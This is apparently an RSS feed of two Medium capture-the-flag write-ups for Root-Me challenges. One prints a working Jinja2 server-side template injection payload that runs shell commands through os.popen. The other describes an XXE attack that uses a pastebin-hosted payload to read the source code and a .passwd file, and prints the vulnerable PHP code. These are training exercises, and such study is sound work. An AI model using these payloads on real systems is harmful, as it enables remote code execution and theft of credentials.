<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ahmed E Shahen on Medium]]></title>
        <description><![CDATA[Stories by Ahmed E Shahen on Medium]]></description>
        <link>https://medium.com/@ahmed.e.shahen?source=rss-1e9598f8ce37------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*6RGqasqITYYI2JhU</url>
            <title>Stories by Ahmed E Shahen on Medium</title>
            <link>https://medium.com/@ahmed.e.shahen?source=rss-1e9598f8ce37------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 11:59:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ahmed.e.shahen/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Python — Server-side Template Injection Introduction — ROOT-ME]]></title>
            <link>https://medium.com/@ahmed.e.shahen/python-server-side-template-injection-introduction-root-me-f825533e9c5f?source=rss-1e9598f8ce37------2</link>
            <guid isPermaLink="false">https://medium.com/p/f825533e9c5f</guid>
            <dc:creator><![CDATA[Ahmed E Shahen]]></dc:creator>
            <pubDate>Sun, 13 Oct 2024 04:00:42 GMT</pubDate>
            <atom:updated>2024-10-13T04:00:42.209Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Python — Server-side Template Injection Introduction</strong> — ROOT-ME</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RkjK_VGbwkrD3yrikB2atA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*EY9EvFVrbN3ZGkhbmsGyIA.png" /></figure><p>2. Now we know that content input is vulnerable so that we can put our payload to get RCE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*5vNRhpmtDshGCi7G0uhJVQ.png" /></figure><pre>{{ cycler.__init__.__globals__.os.popen(&#39;id&#39;).read() }}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rgscp46-trNyG81uy0G16Q.png" /><figcaption>As we see it worked and retrieve data</figcaption></figure><p>3. <br>Now we wants to list all files to find our file that contain flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*Ud2RXfFf7D-fDgU3AnECUA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-mvWk8DNc70KRr-zYnvIlw.png" /><figcaption>As we see we find file .passwd</figcaption></figure><p>4. <br>See file content</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*plS1G3nFwzHoOEvhf_mt3g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*u3Wa1H5gT8bo1U_4L4G85g.png" /><figcaption>Our Flag!</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f825533e9c5f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XML External Entity]]></title>
            <link>https://medium.com/@ahmed.e.shahen/xml-external-entity-58557c8f26fc?source=rss-1e9598f8ce37------2</link>
            <guid isPermaLink="false">https://medium.com/p/58557c8f26fc</guid>
            <dc:creator><![CDATA[Ahmed E Shahen]]></dc:creator>
            <pubDate>Wed, 09 Oct 2024 12:58:24 GMT</pubDate>
            <atom:updated>2024-10-09T12:58:24.867Z</atom:updated>
            <content:encoded><![CDATA[<p>Root Me Challenge</p><h4><strong>Challenge Statement</strong></h4><p>Retrieve the administrator password.</p><h4>Solution</h4><p>· When we enter challenge, we found a URL input field (vulnerable function), and a Submit Query button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*77qPTh2RqdjC1Fwl8t3yQg.png" /></figure><p>· We try to enter any URL, it says:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*2oR06jkiaoCr9vvwuOIX7Q.png" /></figure><p><strong>· To get the Flag, I visited https://pastebin.com and uploaded a payload that returned the backend source code of index.php, encoded using base64.</strong></p><ol><li>When we copy that URL and put it in URL input, we see encoded base64 code:</li></ol><p><a href="https://pastebin.com/raw/Kyr9Rpu0">https://pastebin.com/raw/Kyr9Rpu0</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dcfduz6Dd4akyikoCXCOYg.png" /></figure><p><strong>2.</strong> <strong>We take code and decode it, we see that:</strong></p><pre>&lt;?php<br>echo &#39;&lt;html&gt;&#39;;<br>echo &#39;&lt;header&gt;&lt;title&gt;XXE&lt;/title&gt;&lt;/header&gt;&#39;;<br>echo &#39;&lt;body&gt;&#39;;<br>echo &#39;&lt;h3&gt;&lt;a href=&quot;?action=checker&quot;&gt;checker&lt;/a&gt;&amp;nbsp;|&amp;nbsp;&lt;a href=&quot;?action=auth&quot;&gt;login&lt;/a&gt;&lt;/h3&gt;&lt;hr /&gt;&#39;;<br>if ( ! isset($_GET[&#39;action&#39;]) ) $_GET[&#39;action&#39;]=&quot;checker&quot;;<br>if($_GET[&#39;action&#39;] == &quot;checker&quot;){<br>libxml_disable_entity_loader(false);<br>libxml_use_internal_errors(true);<br>echo &#39;&lt;h2&gt;RSS Validity Checker&lt;/h2&gt;<br>&lt;form method=&quot;post&quot; action=&quot;index.php&quot;&gt;<br>&lt;input type=&quot;text&quot; name=&quot;url&quot; placeholder=&quot;http://host.tld/rss&quot; /&gt;<br>&lt;input type=&quot;submit&quot; /&gt;<br>&lt;/form&gt;&#39;;<br>if(isset($_POST[&quot;url&quot;]) &amp;&amp; !(empty($_POST[&quot;url&quot;]))) {<br>$url = $_POST[&quot;url&quot;];<br>echo &quot;&lt;p&gt;URL : &quot;.htmlentities($url).&quot;&lt;/p&gt;&quot;;<br>try {<br>$ch = curl_init(&quot;$url&quot;);<br>curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<br>curl_setopt($ch, CURLOPT_TIMEOUT, 3);<br>curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);<br>$inject = curl_exec( $ch );<br>curl_close($ch);<br>$string = simplexml_load_string($inject, null, LIBXML_NOENT);<br>if ( ! is_object($string) || !$string || !($string-&gt;channel) || !($string-&gt;channel-&gt;item)) throw new Exception(&quot;error&quot;);<br>foreach($string-&gt;channel-&gt;item as $row){<br>print &quot;&lt;br /&gt;&quot;;<br>print &quot;===================================================&quot;;<br>print &quot;&lt;br /&gt;&quot;;<br>print htmlentities($row-&gt;title);<br>print &quot;&lt;br /&gt;&quot;;<br>print &quot;===================================================&quot;;<br>print &quot;&lt;br /&gt;&quot;;<br>print &quot;&lt;h4 style=&#39;color: green;&#39;&gt;XML document is valid&lt;/h4&gt;&quot;;<br>}<br>} catch (Exception $e) {<br>print &quot;&lt;h4 style=&#39;color: red;&#39;&gt;XML document is not valid&lt;/h4&gt;&quot;;<br>}<br>}<br>}<br>if($_GET[&#39;action&#39;] == &quot;auth&quot;){<br>echo &#39;&lt;strong&gt;Login&lt;/strong&gt;&lt;br /&gt;&lt;form METHOD=&quot;POST&quot;&gt;<br>&lt;input type=&quot;text&quot; name=&quot;username&quot; /&gt;<br>&lt;br /&gt;<br>&lt;input type=&quot;password&quot; name=&quot;password&quot; /&gt;<br>&lt;br /&gt;<br>&lt;input type=&quot;submit&quot; /&gt;<br>&lt;/form&gt;<br>&#39;;<br>if(isset($_POST[&#39;username&#39;], $_POST[&#39;password&#39;]) &amp;&amp; !empty($_POST[&#39;username&#39;]) &amp;&amp; !empty($_POST[&#39;password&#39;]))<br>{<br>$user=$_POST[&quot;username&quot;];<br>$pass=$_POST[&quot;password&quot;];<br>if($user === &quot;admin&quot; &amp;&amp; $pass === &quot;&quot;.file_get_contents(&quot;.passwd&quot;).&quot;&quot;){<br>print &quot;Flag: &quot;.file_get_contents(&quot;.passwd&quot;).&quot;&lt;br /&gt;&quot;;<br>}<br>}<br>}<br>echo &#39;&lt;/body&gt;&lt;/html&gt;&#39;;</pre><p><strong>3.</strong> <strong>Now we need to change index.php to .passwd to get our flag so that made it in another URL with the same steps of encoding:</strong></p><p><a href="https://pastebin.com/raw/tbCiMmPf">https://pastebin.com/raw/tbCiMmPf</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*SSMIO4dDDby9ONlkxdZ84w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*0K-cB5bLgKK6ZJQNcwzzxQ.png" /><figcaption>Our Flag!</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58557c8f26fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>